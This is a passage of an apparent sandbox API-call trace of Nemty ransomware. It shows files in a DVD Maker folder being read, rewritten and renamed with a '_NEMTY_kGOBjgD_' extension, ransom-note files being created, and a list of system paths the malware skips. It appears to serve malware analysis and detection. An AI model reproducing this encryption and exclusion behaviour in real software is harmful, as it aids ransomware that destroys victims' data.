lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.642] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.642] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.670] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.670] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.670] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.682] CloseHandle (hObject=0xffffffff) returned 0 [0069.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94330 [0069.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0069.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0069.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.682] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.683] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="OldAge", cAlternateFileName="")) returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2=".") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="..") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="...") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="windows") returned -1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="$RECYCLE.BIN") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="rsa") returned -1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="NTDETECT.COM") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="ntldr") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="MSDOS.SYS") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="IO.SYS") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="boot.ini") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="boot.ini") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="AUTOEXEC.BAT") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="ntuser.dat") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="desktop.ini") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="CONFIG.SYS") returned 1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="RECYCLER") returned -1 [0069.683] lstrcmpiW (lpString1="OldAge", lpString2="BOOTSECT.BAK") returned 1 [0069.684] lstrcmpiW (lpString1="OldAge", lpString2="bootmgr") returned 1 [0069.684] lstrcmpiW (lpString1="OldAge", lpString2="programdata") returned -1 [0069.684] lstrcmpiW (lpString1="OldAge", lpString2="appdata") returned 1 [0069.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OldAge", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0069.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OldAge", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OldAge", lpUsedDefaultChar=0x0) returned 6 [0069.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OldAge", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0069.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OldAge", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OldAge", lpUsedDefaultChar=0x0) returned 6 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94278 [0069.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0069.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0069.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942f0 [0069.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0069.684] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0069.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0069.688] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.688] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0069.689] CloseHandle (hObject=0x3cc) returned 1 [0069.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942f0 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94368 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0069.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0069.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0069.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0069.690] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0069.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.691] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.691] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0069.692] CloseHandle (hObject=0x3cc) returned 1 [0069.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94368 [0069.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdd2e62d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdd2e62d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0069.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0069.692] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdd2e62d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xdd2e62d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0069.692] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0069.692] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0069.692] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.692] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0069.692] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0069.692] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0069.692] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0069.692] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0069.693] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0069.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.693] WideCharToMultiByte (in: 